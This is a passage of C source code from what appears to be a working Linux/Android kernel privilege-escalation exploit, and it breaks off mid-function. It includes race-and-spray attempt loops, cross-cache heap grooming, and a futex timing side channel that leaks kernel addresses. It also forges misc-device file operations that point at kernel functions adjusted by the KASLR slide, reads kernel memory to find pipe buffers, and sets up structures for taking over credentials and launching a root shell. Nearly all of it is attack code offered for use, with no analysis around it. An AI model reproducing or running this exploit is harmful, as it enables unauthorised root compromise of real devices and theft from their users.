"target=%#llx slide=%#llx\n", attempt, (unsigned long long)result->qword0, (unsigned long long)result->qword1, (unsigned long long)result->slide); fflush(stdout); } static void validation_watcher(int notify_fd) { struct watcher_result result; long long deadline = monotonic_ns() + (long long)watcher_timeout_ms * 1000000LL; pin_cpu(cpu_count > 1 ? 1 : 0); while (monotonic_ns() < deadline) { if (!read_validated_result(&result)) { if (write(notify_fd, &result, sizeof(result)) != (ssize_t)sizeof(result)) _exit(106); _exit(0); } } _exit(1); } static int confirm_validation(struct watcher_result *result) { struct timespec delay = {.tv_nsec = 1000000}; for (int read_index = 0; read_index < 3; read_index++) { if (read_validated_result(result)) return -1; nanosleep(&delay, NULL); } return 0; } static int confirm_stage0_baseline(void) { struct timespec delay = {.tv_nsec = 1000000}; char text[64]; uint64_t qword0 = 0; uint64_t qword1 = 0; for (int read_index = 0; read_index < 3; read_index++) { if (read_boot_id(text, &qword0, &qword1) || qword0 != stage0_baseline0 || qword1 != stage0_baseline1) { printf("STAGE0_MISS_NOT_PROVEN read=%d observed=%#llx/%#llx " "expected=%#llx/%#llx errno=%d\n", read_index, (unsigned long long)qword0, (unsigned long long)qword1, (unsigned long long)stage0_baseline0, (unsigned long long)stage0_baseline1, errno); return -1; } nanosleep(&delay, NULL); } return 0; } static void wait_rcu_window(void) { struct timespec delay = { .tv_sec = rcu_wait_us / 1000000, .tv_nsec = (rcu_wait_us % 1000000) * 1000, }; while (nanosleep(&delay, &delay) && errno == EINTR) ; } static int wait_timer_slab_drain(int attempt) { long long begin = monotonic_ns(); int active = -1; int total = -1; wait_rcu_window(); long long deadline = monotonic_ns() + 12000000000LL; for (;;) { if (!read_timer_slab(&active, &total) && active < 1024 && total < 1024) { printf("SLAB_DRAIN_PASS attempt=%d active=%d total=%d " "wait_ms=%lld\n", attempt, active, total, (monotonic_ns() - begin) / 1000000); return 0; } if (monotonic_ns() >= deadline) break; { struct timespec delay = {.tv_nsec = 100000000}; nanosleep(&delay, NULL); } } printf("RCU_NOT_DRAINED attempt=%d active=%d total=%d baseline=%d/%d\n", attempt, active, total, slab_baseline_active, slab_baseline_total); return -1; } static int direct_node_pointer(uint64_t value, size_t offset) { uint64_t untagged = value & UINT64_C(0x00ffffffffffffff); return untagged >= UINT64_C(0x00ffff8000000000) && untagged < UINT64_C(0x00ffffc000000000) && (value & (ORDER1_SIZE - 1)) == offset; } static int scan_segment(const unsigned char *message, size_t base, int slots) { int changed = 0; for (int slot = 0; slot < slots; slot++) { size_t offset = FAKE_CPU_TIMER_FIRST_OFF + (size_t)slot * FAKE_CPU_TIMER_STRIDE; uint64_t value; memcpy(&value, message + base + offset, sizeof(value)); if (value != forged_parent && direct_node_pointer(value, offset)) changed++; } return changed; } static int scan_reclaimed_fragments(struct spray_pair *pairs) { unsigned char *fragments = malloc(ORDER1_SIZE * SPRAY_REPEATS); int changed = 0; int received = 0; if (!fragments) { printf("ORDER1_RECLAIM_GATE_FAIL stage=allocate errno=%d\n", errno); return -1; } for (int i = 0; i < pipe_count; i++) { unsigned char marker; if (receive_exact(pairs[i].rx, &marker, 1) || marker != SPRAY_MARKER || receive_exact(pairs[i].rx, fragments, ORDER1_SIZE * SPRAY_REPEATS)) continue; received++; for (int repeat = 0; repeat < SPRAY_REPEATS; repeat++) changed += scan_segment(fragments, (size_t)repeat * ORDER1_SIZE, FAKE_MISC_SLOTS); } free(fragments); printf("ORDER1_RECLAIM_GATE changed_nodes=%d received=%d pairs=%d " "fragments=%d\n", changed, received, pipe_count, pipe_count * SPRAY_REPEATS); if (received != pipe_count) return ATTEMPT_PRESERVE; return changed; } static void *reap_victims(void *opaque) { struct victim_reaper *reaper = opaque; if (try_pin_cpu(reaper->cpu)) { reaper->affinity_errno = errno; } for (int i = 0; i < reaper->count; i++) { int status; pid_t result; if (reaper->victims[i] <= 0) continue; do { result = waitpid(reaper->victims[i], &status, 0); } while (result < 0 && errno == EINTR); if (result < 0) { reaper->wait_errno = errno; break; } reaper->reaped++; } atomic_store_explicit(&reaper->done, 1, memory_order_release); return NULL; } static int wait_reaper_done(struct victim_reaper *reaper, int timeout_ms) { struct timespec now; struct timespec delay = {.tv_nsec = 1000000}; if (clock_gettime(CLOCK_MONOTONIC, &now)) return -1; long long deadline = (long long)now.tv_sec * 1000000000LL + now.tv_nsec + (long long)timeout_ms * 1000000LL; while (!atomic_load_explicit(&reaper->done, memory_order_acquire)) { if (clock_gettime(CLOCK_MONOTONIC, &now)) return -1; if ((long long)now.tv_sec * 1000000000LL + now.tv_nsec >= deadline) break; nanosleep(&delay, NULL); } return atomic_load_explicit(&reaper->done, memory_order_acquire); } static int waitpid_exact(pid_t child, int *status) { pid_t result; do { result = waitpid(child, status, 0); } while (result < 0 && errno == EINTR); return result == child ? 0 : -1; } static int terminate_and_reap(pid_t child, int *status) { if (kill(child, SIGKILL) && errno != ESRCH) return -1; return waitpid_exact(child, status); } static int waitpid_timed(pid_t child, int *status, int timeout_ms) { struct timespec now; struct timespec delay = {.tv_nsec = 1000000}; long long deadline; if (clock_gettime(CLOCK_MONOTONIC, &now)) return -1; deadline = (long long)now.tv_sec * 1000000000LL + now.tv_nsec + (long long)timeout_ms * 1000000LL; for (;;) { pid_t result = waitpid(child, status, WNOHANG); if (result == child) return 0; if (result < 0 && errno != EINTR) return -1; if (clock_gettime(CLOCK_MONOTONIC, &now)) return -1; if ((long long)now.tv_sec * 1000000000LL + now.tv_nsec >= deadline) { errno = ETIMEDOUT; return -1; } nanosleep(&delay, NULL); } } static int terminate_and_reap_timed(pid_t child, int *status, int timeout_ms) { if (kill(child, SIGKILL) && errno != ESRCH) return -1; return waitpid_timed(child, status, timeout_ms); } static int exploit_attempt(int attempt, const unsigned char fake_fragment[ORDER1_SIZE], struct watcher_result *out) { pid_t victims[MAX_RACE_BATCH]; struct spray_pair *pairs = NULL; struct victim_reaper *reaper; struct watcher_result result; struct pollfd poll_fd; pthread_t reaper_thread; pid_t watcher; int win_pipe[2]; int valid = 0; int status; int i; if (prepare_spray_pairs(&pairs)) die("prepare spray pairs"); if (run_spray_phase(pairs, fake_fragment, SPRAY_PREPARE_HEADS) || run_spray_phase(pairs, fake_fragment, SPRAY_PUNCH_HOLES)) { close_spray_pairs(pairs); printf("HEAD_CACHE_PREP_FAIL attempt=%d\n", attempt); return 0; } printf("ATTEMPT_BEGIN attempt=%d batch=%d pairs=%d fragments=%d " "rcu_wait_us=%ld\n", attempt, race_batch, pipe_count, pipe_count * SPRAY_REPEATS, rcu_wait_us); for (i = 0; i < race_batch; i++) { victims[i] = run_race((attempt - 1) * race_batch + i + 1); if (victims[i] > 0) valid++; } if (!valid) { close_spray_pairs(pairs); return 0; } force_rcu_callbacks(attempt); if (wait_timer_slab_drain(attempt)) { for (i = 0; i < race_batch; i++) { if (victims[i] > 0) { if (terminate_and_reap(victims[i], &status)) { printf("VICTIM_REAP_NOT_PROVEN attempt=%d " "victim=%d errno=%d\n", attempt, victims[i], errno); return ATTEMPT_PRESERVE; } } } close_spray_pairs(pairs); return 0; } if (boot_validation == BOOT_VALIDATE_KASLR) { atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release); printf("STAGE0_DIRTY_ARM attempt=%d\n", attempt); } { int errors = run_spray_phase(pairs, fake_fragment, SPRAY_ORDER1_FRAGMENTS); printf("SPRAY_DONE attempt=%d valid=%d pairs=%d fragments=%d " "errors=%d\n", attempt, valid, pipe_count, pipe_count * SPRAY_REPEATS, errors); if (errors) { printf("ORDER1_STATE_UNKNOWN attempt=%d mode=%d " "stage=spray\n", attempt, boot_validation); return ATTEMPT_PRESERVE; } } reaper = calloc(1, sizeof(*reaper)); if (!reaper) { printf("REAPER_SETUP_FAIL stage=allocate attempt=%d errno=%d\n", attempt, errno); return -1; } if (pipe2(win_pipe, O_CLOEXEC | O_NONBLOCK)) { printf("REAPER_SETUP_FAIL stage=pipe attempt=%d errno=%d\n", attempt, errno); free(reaper); return -1; } watcher = fork(); if (watcher < 0) { printf("REAPER_SETUP_FAIL stage=fork attempt=%d errno=%d\n", attempt, errno); close(win_pipe[0]); close(win_pipe[1]); free(reaper); return -1; } if (!watcher) { close(win_pipe[0]); validation_watcher(win_pipe[1]); } close(win_pipe[1]); for (i = 0; i < race_batch; i++) { if (victims[i] > 0) kill(victims[i], SIGKILL); } memcpy(reaper->victims, victims, (size_t)race_batch * sizeof(*victims)); reaper->count = race_batch; reaper->cpu = cpu_count > 2 ? 2 + reaper_cpu_generation % (cpu_count - 2) : 0; if (pthread_create(&reaper_thread, NULL, reap_victims, reaper)) { printf("REAPER_SETUP_FAIL stage=thread attempt=%d errno=%d\n", attempt, errno); return -1; } poll_fd.fd = win_pipe[0]; poll_fd.events = POLLIN; poll_fd.revents = 0; memset(&result, 0, sizeof(result)); if (poll(&poll_fd, 1, watcher_timeout_ms + 250) > 0 && read(win_pipe[0], &result, sizeof(result)) == (ssize_t)sizeof(result) && result.magic == NEBUSEC_MAGIC) { close(win_pipe[0]); if (waitpid_exact(watcher, &status) || !WIFEXITED(status) || WEXITSTATUS(status)) { printf("WATCHER_REAP_NOT_PROVEN attempt=%d path=hit\n", attempt); return ATTEMPT_PRESERVE; } if (wait_reaper_done(reaper, 1000) != 1) { pthread_detach(reaper_thread); reaper_cpu_generation++; printf("REAPER_NOT_FINITE attempt=%d cpu=%d\n", attempt, reaper->cpu); fflush(stdout); return -1; } if (pthread_join(reaper_thread, NULL)) { printf("REAPER_JOIN_FAIL attempt=%d path=watcher\n", attempt); return ATTEMPT_PRESERVE; } if (reaper->wait_errno || reaper->affinity_errno || reaper->reaped != valid) { printf("REAPER_INCOMPLETE attempt=%d reaped=%d " "valid=%d wait_errno=%d affinity_errno=%d\n", attempt, reaper->reaped, valid, reaper->wait_errno, reaper->affinity_errno); free(reaper); return -1; } if (confirm_validation(&result)) { printf("VALIDATION_NOT_STABLE attempt=%d mode=%d\n", attempt, boot_validation); free(reaper); return -1; } if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE) printf("REAPER_FINITE_PASS attempt=%d reaped=%d cpu=%d\n", attempt, reaper->reaped, reaper->cpu); free(reaper); print_validation_pass(attempt, &result); sleep(2); if (boot_validation == BOOT_VALIDATE_KASLR) atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release); close_spray_pairs(pairs); *out = result; return 1; } close(win_pipe[0]); if (terminate_and_reap(watcher, &status)) { printf("WATCHER_REAP_NOT_PROVEN attempt=%d path=scanner errno=%d\n", attempt, errno); return ATTEMPT_PRESERVE; } if (!atomic_load_explicit(&reaper->done, memory_order_acquire)) { pthread_detach(reaper_thread); reaper_cpu_generation++; printf("FORGED_QUEUE_NO_UUID attempt=%d reaper_cpu=%d\n", attempt, reaper->cpu); fflush(stdout); sleep(2); return -1; } if (pthread_join(reaper_thread, NULL)) { printf("REAPER_JOIN_FAIL attempt=%d path=scanner\n", attempt); return ATTEMPT_PRESERVE; } if (reaper->wait_errno || reaper->affinity_errno || reaper->reaped != valid) { printf("REAPER_WAIT_ERROR attempt=%d reaped=%d valid=%d " "wait_errno=%d affinity_errno=%d\n", attempt, reaper->reaped, valid, reaper->wait_errno, reaper->affinity_errno); free(reaper); return -1; } free(reaper); { int changed = scan_reclaimed_fragments(pairs); if (changed < 0) return ATTEMPT_PRESERVE; if (!read_validated_result(&result)) { if (confirm_validation(&result)) { printf("VALIDATION_NOT_STABLE attempt=%d mode=%d\n", attempt, boot_validation); return ATTEMPT_PRESERVE; } print_validation_pass(attempt, &result); *out = result; if (boot_validation == BOOT_VALIDATE_KASLR) atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release); close_spray_pairs(pairs); return ATTEMPT_HIT; } if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE) { if (changed > 0 || verify_real_uhid() || verify_real_uhid()) { printf("MISC_BRIDGE_MISS_NOT_PROVEN attempt=%d " "changed=%d errno=%d\n", attempt, changed, errno); return ATTEMPT_PRESERVE; } } else if (changed > 0 || confirm_stage0_baseline()) { printf("STAGE0_MISS_NOT_PROVEN attempt=%d changed=%d\n", attempt, changed); return ATTEMPT_PRESERVE; } else { atomic_store_explicit(&kernel_state_dirty, 0, memory_order_release); printf("STAGE0_MISS_CLEAN attempt=%d reads=3 changed=0\n", attempt); } } close_spray_pairs(pairs); printf("ATTEMPT_MISS attempt=%d valid=%d\n", attempt, valid); return ATTEMPT_MISS; } static int apply_race_cpu_limit(void) { cpu_set_t requested; cpu_set_t observed; if (!race_cpu_limit) return 0; CPU_ZERO(&requested); for (int cpu = 0; cpu < cpu_count; cpu++) CPU_SET(race_cpu_base + cpu, &requested); if (sched_setaffinity(0, sizeof(requested), &requested) || sched_getaffinity(0, sizeof(observed), &observed)) { fprintf(stderr, "RACE_CPU_LIMIT_GATE_FAIL reason=affinity errno=%d " "requested=%d online=%d\n", errno, race_cpu_limit, online_cpu_count); return -1; } for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { int expected = cpu >= race_cpu_base && cpu < race_cpu_base + cpu_count; if (!!CPU_ISSET(cpu, &observed) != expected) { fprintf(stderr, "RACE_CPU_LIMIT_GATE_FAIL reason=readback cpu=%d " "requested=%d base=%d online=%d\n", cpu, race_cpu_limit, race_cpu_base, online_cpu_count); return -1; } } return 0; } static void raise_limits(void) { struct rlimit limit; if (!getrlimit(RLIMIT_NOFILE, &limit)) { rlim_t wanted = 8192; if (wanted > limit.rlim_max) wanted = limit.rlim_max; limit.rlim_cur = wanted; setrlimit(RLIMIT_NOFILE, &limit); } limit.rlim_cur = 250000; limit.rlim_max = 250000; setrlimit(RLIMIT_SIGPENDING, &limit); } #define CC_OBJECTS_PER_SLAB 25 #define CC_PREPARE_SLABS 32 #define CC_PARTIAL_SLABS 11 #define CC_GUARD_PAGES 5 struct crosscache_context { size_t count; pid_t *pids; int *memfds; }; struct controlled_page { uint64_t base; int sockets[2]; }; enum pipe_meta_state { PIPE_META_NATIVE, PIPE_META_TEMPORARY, PIPE_META_UNKNOWN, }; struct pipe_reclaim_probe { struct controlled_page carrier; int drain[DP_PIPE_DRAIN_COUNT][2]; int reclaim[DP_PIPE_RECLAIM_MAX][2]; uint64_t base; uint64_t page_desc; uint64_t pipe_buffer_addr; struct dp_pipe_buffer canonical; int pipe_index; enum pipe_meta_state meta_state; unsigned int transaction_sequence; int transaction_log; }; struct physical_layout { uint64_t memstart_addr; uint64_t kimage_voffset; }; struct task_snapshot { uint64_t tasks_next; uint32_t pid; uint32_t tgid; uint64_t group_leader; uint64_t real_cred; uint64_t cred; char comm[DP_TASK_COMM_LEN]; }; struct root_child_report { uint64_t magic; int32_t pid; uint32_t uid; uint32_t euid; uint32_t suid; uint32_t fsuid; uint32_t gid; uint32_t egid; uint32_t sgid; uint32_t fsgid; int32_t group_count; uint32_t groups[64]; uint64_t cap_inheritable; uint64_t cap_permitted; uint64_t cap_effective; uint64_t cap_bounding; uint64_t cap_ambient; int32_t securebits; int32_t no_new_privs; int32_t seccomp; int32_t capture_result; }; struct root_shared_state { atomic_int child_fds_closed; atomic_int child_security_ready; atomic_int child_ready; atomic_int child_shell_go; struct root_child_report report; }; struct user_security_state { pid_t local_pid; pid_t global_pid; int nspid_depth; uid_t uid; uid_t euid; uid_t suid; uid_t fsuid; gid_t gid; gid_t egid; gid_t sgid; gid_t fsgid; int group_count; gid_t groups[64]; uint64_t cap_inheritable; uint64_t cap_permitted; uint64_t cap_effective; uint64_t cap_bounding; uint64_t cap_ambient; int securebits; int no_new_privs; int seccomp; int enforcing; char context[64]; }; struct kernel_root_cred_identity { uint64_t usage; uint64_t security; uint64_t user; uint64_t user_ns; uint64_t ucounts; uint64_t group_info; unsigned char selinux[DP_SELINUX_CRED_SIZE]; }; struct task_match { uint64_t raw_task; struct task_snapshot snapshot; size_t nodes; }; struct visited_task { uint64_t untagged; uint64_t raw; }; static void crosscache_context_init(struct crosscache_context *context, size_t count) { context->count = count; context->pids = calloc(count, sizeof(*context->pids)); context->memfds = malloc(count * sizeof(*context->memfds)); if (!context->pids || !context->memfds) die("allocate crosscache context"); for (size_t i = 0; i < count; i++) context->memfds[i] = -1; } static pid_t crosscache_clone_pause(void) { pid_t child = syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0); if (child < 0) die("clone mm holder"); if (!child) { prctl(PR_SET_PDEATHSIG, SIGKILL); if (getppid() == 1) _exit(110); pin_cpu(cpu_count > 1 ? 1 : 0); for (;;) pause(); } return child; } static int crosscache_open_mem(pid_t child) { char path[64]; int fd; snprintf(path, sizeof(path), "/proc/%d/mem", child); fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) die("open mm holder mem"); return fd; } static void crosscache_kill_wait(pid_t child) { if (child <= 0) return; if (kill(child, SIGKILL) && errno != ESRCH) die("kill mm holder"); while (waitpid(child, NULL, 0) < 0) { if (errno != EINTR) die("wait mm holder"); } } static void crosscache_allocate_holders(struct crosscache_context *context) { for (size_t i = 0; i < context->count; i++) { context->pids[i] = crosscache_clone_pause(); context->memfds[i] = crosscache_open_mem(context->pids[i]); } } static void crosscache_stop_holders(struct crosscache_context *context) { for (size_t i = 0; i < context->count; i++) { crosscache_kill_wait(context->pids[i]); context->pids[i] = 0; } } static void crosscache_close_memfd(struct crosscache_context *context, size_t index) { if (context->memfds[index] < 0) return; if (close(context->memfds[index])) die("close mm holder mem"); context->memfds[index] = -1; } static void crosscache_context_destroy(struct crosscache_context *context) { for (size_t i = 0; i < context->count; i++) { if (context->pids[i] > 0) crosscache_kill_wait(context->pids[i]); crosscache_close_memfd(context, i); } free(context->pids); free(context->memfds); memset(context, 0, sizeof(*context)); } static void put_crosscache_qword(unsigned char *payload, size_t offset, uint64_t value) { memcpy(payload + offset, &value, sizeof(value)); } static void fill_crosscache_payload(unsigned char *payload, uint64_t base) { uint64_t fake_fops = base + FAKE_FOPS_OFF; uint32_t minor = UHID_MINOR; memset(payload, 0, CC_SKB_SEND_BYTES); for (int record = 0; record < FAKE_MISC_RECORDS; record++) { uint64_t offset = fake_misc_record_offset(record); memcpy(payload + offset, &minor, sizeof(minor)); put_crosscache_qword(payload, offset + FAKE_MISC_FOPS_OFF, fake_fops); put_crosscache_qword(payload, offset + FAKE_MISC_PARENT_OFF, base + fake_misc_record_offset(record) + FAKE_MISC_LEAF_DELTA); } put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_READ_ITER_OFF, LINK_CONFIGFS_READ_ITER + kernel_slide); put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_WRITE_ITER_OFF, LINK_CONFIGFS_BIN_WRITE_ITER + kernel_slide); put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_UNLOCKED_IOCTL_OFF, LINK_ASHMEM_IOCTL + kernel_slide); put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_OPEN_OFF, LINK_ASHMEM_OPEN + kernel_slide); put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_RELEASE_OFF, LINK_ASHMEM_RELEASE + kernel_slide); printf("BRIDGE_PAYLOAD first=%#llx last=%#llx fops=%#llx " "scratch=%#llx records=%d\n", (unsigned long long)(base + FAKE_MISC_OFF), (unsigned long long)(base + fake_misc_record_offset(FAKE_MISC_RECORDS - 1)), (unsigned long long)fake_fops, (unsigned long long)(base + BRIDGE_SCRATCH_OFF), FAKE_MISC_RECORDS); } static void crosscache_prepare_socket(int sockets[2]) { int sndbuf = 1024 * 1024; if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, sockets)) die("socketpair order3 page"); if (setsockopt(sockets[0], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf))) die("set order3 socket buffer"); } static void crosscache_send_prepared(int sockets[2], const unsigned char *payload) { ssize_t sent = send(sockets[0], payload, CC_SKB_SEND_BYTES, MSG_NOSIGNAL); if (sent != CC_SKB_SEND_BYTES) die("send order3 page"); } static uint64_t prepare_controlled_page(struct controlled_page *page) { struct crosscache_context prepare; struct crosscache_context spray; struct crosscache_context pre; struct crosscache_context post; int collision_gate[2]; int guard_sockets[CC_GUARD_PAGES][2]; int scan_workers = cpu_count; int hash_cpus = online_cpu_count; memset(&prepare, 0, sizeof(prepare)); memset(&spray, 0, sizeof(spray)); memset(&pre, 0, sizeof(pre)); memset(&post, 0, sizeof(post)); page->sockets[0] = -1; page->sockets[1] = -1; for (size_t i = 0; i < CC_GUARD_PAGES; i++) { guard_sockets[i][0] = -1; guard_sockets[i][1] = -1; } crosscache_context_init(&prepare, CC_PREPARE_SLABS * CC_OBJECTS_PER_SLAB); crosscache_context_init(&spray, CC_PARTIAL_SLABS * CC_OBJECTS_PER_SLAB); crosscache_context_init(&pre, CC_OBJECTS_PER_SLAB - 1); crosscache_context_init(&post, CC_OBJECTS_PER_SLAB); pin_cpu(0); printf("CROSSCACHE_ALLOC prepare=%zu spray=%zu pre=%zu post=%zu\n", prepare.count, spray.count, pre.count, post.count); crosscache_allocate_holders(&prepare); crosscache_allocate_holders(&spray); struct kernelsnitch_state *shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (shared == MAP_FAILED) die("mmap kernelsnitch state"); memset(shared, 0, 0x1000); shared->hash_size = (uint32_t)hash_cpus * 256; if (race_cpu_limit) printf("CROSSCACHE_CPU_GATE effective=%d base=%d physical=%d-%d " "hash_cpus=%d scan_workers=%d\n", cpu_count, race_cpu_base, race_cpu_base, race_cpu_base + cpu_count - 1, hash_cpus, scan_workers); futex_map = mmap(NULL, FUTEX_MAP_BYTES, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0); if (futex_map == MAP_FAILED) die("mmap kernelsnitch futex range"); for (size_t i = 0; i < pre.count; i++) pre.pids[i] = crosscache_clone_pause(); if (pipe2(collision_gate, O_CLOEXEC)) die("pipe collision gate"); pid_t collision_child = syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0); if (collision_child < 0) die("clone collision child"); if (!collision_child) { unsigned char go; close(collision_gate[1]); prctl(PR_SET_PDEATHSIG, SIGKILL); if (read(collision_gate[0], &go, 1) != 1) _exit(111); close(collision_gate[0]); _exit(build_timing_collisions(shared) ? 1 : 0); } close(collision_gate[0]); for (size_t i = 0; i < post.count; i++) post.pids[i] = crosscache_clone_pause(); for (size_t i = 0; i < pre.count; i++) pre.memfds[i] = crosscache_open_mem(pre.pids[i]); int collision_memfd = crosscache_open_mem(collision_child); for (size_t i = 0; i < post.count; i++) post.memfds[i] = crosscache_open_mem(post.pids[i]); if (write(collision_gate[1], "G", 1) != 1) die("release collision child"); close(collision_gate[1]); crosscache_stop_holders(&pre); crosscache_stop_holders(&post); crosscache_stop_holders(&spray); int collision_status; if (waitpid(collision_child, &collision_status, 0) < 0) die("wait collision child"); if (!WIFEXITED(collision_status) || WEXITSTATUS(collision_status) || shared->collision_count != COLLISION_GOAL) die("kernelsnitch collision preparation"); uint64_t leaked = recover_mm_address(shared, scan_workers); uint64_t base = leaked & ~(MM_SLAB_BYTES - 1); if (leaked < DIRECT_MAP_BEGIN || leaked >= DIRECT_MAP_END || ((leaked - base) % MM_OBJECT_BYTES) || (leaked - base) / MM_OBJECT_BYTES >= CC_OBJECTS_PER_SLAB) die("kernelsnitch leaked address geometry"); printf("CROSSCACHE_KS leaked=%#llx base=%#llx slot=%llu\n", (unsigned long long)leaked, (unsigned long long)base, (unsigned long long)((leaked - base) / MM_OBJECT_BYTES)); unsigned char *payload = malloc(CC_SKB_SEND_BYTES); unsigned char *guard_payload = malloc(CC_SKB_SEND_BYTES); if (!payload || !guard_payload) die("allocate crosscache payload"); memset(guard_payload, 0x47, CC_SKB_SEND_BYTES); pin_cpu(0); for (size_t i = 0; i < CC_GUARD_PAGES; i++) { crosscache_prepare_socket(guard_sockets[i]); crosscache_send_prepared(guard_sockets[i], guard_payload); } crosscache_prepare_socket(page->sockets); crosscache_page_base = base; fill_crosscache_payload(payload, base); for (size_t i = 0; i < spray.count / 2; i += CC_OBJECTS_PER_SLAB) crosscache_close_memfd(&spray, i); for (size_t i = 0; i < pre.count; i++) crosscache_close_memfd(&pre, i); for (size_t i = 0; i + 1 < post.count; i++) crosscache_close_memfd(&post, i); for (size_t i = spray.count / 2; i < spray.count; i += CC_OBJECTS_PER_SLAB) crosscache_close_memfd(&spray, i); if (close(collision_memfd)) die("release leaked mm"); crosscache_send_prepared(page->sockets, payload); page->base = base; printf("CROSSCACHE_RECLAIM base=%#llx first_list=%#llx " "fops=%#llx records=%d send=%d\n", (unsigned long long)base, (unsigned long long)(base + FAKE_MISC_OFF + FAKE_MISC_LIST_OFF), (unsigned long long)(base + FAKE_FOPS_OFF), FAKE_MISC_RECORDS, CC_SKB_SEND_BYTES); for (size_t i = 0; i < CC_GUARD_PAGES; i++) { close(guard_sockets[i][0]); close(guard_sockets[i][1]); } munmap(futex_map, FUTEX_MAP_BYTES); futex_map = NULL; munmap(shared, 0x1000); free(payload); free(guard_payload); crosscache_context_destroy(&pre); crosscache_context_destroy(&post); crosscache_context_destroy(&spray); crosscache_context_destroy(&prepare); return base; } static void close_fd_pair(int pair[2]) { if (pair[0] >= 0) { close(pair[0]); pair[0] = -1; } if (pair[1] >= 0) { close(pair[1]); pair[1] = -1; } } static void pipe_reclaim_probe_init(struct pipe_reclaim_probe *probe) { memset(probe, 0, sizeof(*probe)); probe->carrier.sockets[0] = -1; probe->carrier.sockets[1] = -1; probe->pipe_index = -1; probe->meta_state = PIPE_META_NATIVE; probe->transaction_log = 1; for (int i = 0; i < DP_PIPE_DRAIN_COUNT; i++) { probe->drain[i][0] = -1; probe->drain[i][1] = -1; } for (int i = 0; i < DP_PIPE_RECLAIM_MAX; i++) { probe->reclaim[i][0] = -1; probe->reclaim[i][1] = -1; } } static void pipe_reclaim_probe_cleanup(struct pipe_reclaim_probe *probe) { close_fd_pair(probe->carrier.sockets); for (int i = 0; i < DP_PIPE_RECLAIM_MAX; i++) close_fd_pair(probe->reclaim[i]); for (int i = 0; i < DP_PIPE_DRAIN_COUNT; i++) close_fd_pair(probe->drain[i]); } static int make_small_pipe(int pair[2]) { int capacity; if (pipe2(pair, O_CLOEXEC)) return -1; capacity = fcntl(pair[0], F_SETPIPE_SZ, DP_PIPE_SMALL_BYTES); if (capacity != DP_PIPE_SMALL_BYTES) return -1; return 0; } static int grow_pipe_ring(int pair[2]) { return fcntl(pair[0], F_SETPIPE_SZ, DP_PIPE_LARGE_BYTES) == DP_PIPE_LARGE_BYTES ? 0 : -1; } static uint64_t untag_kernel_pointer(uint64_t value) { return (uint64_t)((int64_t)(value << 8) >> 8); } static uint64_t direct_to_page_desc(uint64_t direct) { if (direct < DIRECT_MAP_BEGIN || direct >= DIRECT_MAP_END) return 0; return DP_VMEMMAP_START + ((direct - DIRECT_MAP_BEGIN) / 0x1000) * DP_STRUCT_PAGE_SIZE; } static int pipe_cache_gate(int bridge_fd, struct pipe_reclaim_probe *probe) { uint64_t expected_cache = 0; uint64_t flags = 0; uint64_t order_flags = 0; uint64_t compound_head = 0; uint64_t slab_cache = 0; uint64_t page_desc = direct_to_page_desc(probe->base); uint64_t required_flags = (UINT64_C(1) << DP_PG_HEAD) | (UINT64_C(1) << DP_PG_SLAB); int ok; if (!page_desc || (probe->base & (CC_SKB_SEND_BYTES - 1))) return -1; if (bridge_read64(bridge_fd, LINK_KMALLOC_CACHES + kernel_slide + DP_KMALLOC_CG8K_SLOT_OFF, &expected_cache) || bridge_read64(bridge_fd, page_desc + DP_PAGE_FLAGS_OFF, &flags) || bridge_read64(bridge_fd, page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_FLAGS_OFF, &order_flags) || bridge_read64(bridge_fd, page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_COMPOUND_HEAD_OFF, &compound_head) || bridge_read64(bridge_fd, page_desc + DP_PAGE_SLAB_CACHE_OFF, &slab_cache)) { printf("PIPE_CACHE_GATE_FAIL stage=read errno=%d page=%#llx\n", errno, (unsigned long long)page_desc); return -1; } ok = untag_kernel_pointer(expected_cache) >= DIRECT_MAP_BEGIN && untag_kernel_pointer(expected_cache) < DIRECT_MAP_END && (flags & required_flags) == required_flags && (order_flags & UINT64_C(0xff)) == 3 && compound_head == (page_desc | UINT64_C(1)) && slab_cache == expected_cache; printf("PIPE_CACHE_GATE base=%#llx page=%#llx flags=%#llx " "order_flags=%#llx compound_head=%#llx cache=%#llx " "expected=%#llx ok=%d\n", (unsigned long long)probe->base, (unsigned long long)page_desc, (unsigned long long)flags, (unsigned long long)order_flags, (unsigned long long)compound_head, (unsigned long long)slab_cache, (unsigned long long)expected_cache, ok); if (!ok) return -1; probe->page_desc = page_desc; return 0; } static int find_live_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) { unsigned char *object; uint64_t expected_ops = LINK_ANON_PIPE_BUF_OPS + kernel_slide; uint64_t map_end = DP_VMEMMAP_START + ((DIRECT_MAP_END - DIRECT_MAP_BEGIN) / 0x1000) * DP_STRUCT_PAGE_SIZE; size_t ring_bytes = 128 * sizeof(struct dp_pipe_buffer); int page_candidates = 0; int ops_candidates = 0; int marker_candidates = 0; int matches = 0; object = malloc((size_t)DP_PIPE_OBJECT_BYTES); if (!object) { printf("PIPE_SCAN_FAIL stage=allocate errno=%d\n", errno); return -1; } for (int object_index = 0; object_index < 4; object_index++) { uint64_t object_addr = probe->base + (uint64_t)object_index * DP_PIPE_OBJECT_BYTES; ssize_t got; if (pipe_cache_gate(bridge_fd, probe)) { printf("PIPE_SCAN_FAIL stage=pre_object_gate object=%d\n", object_index); free(object); return -1; } got = bridge_read_once(bridge_fd, object_addr, object, (size_t)DP_PIPE_OBJECT_BYTES); if (got != 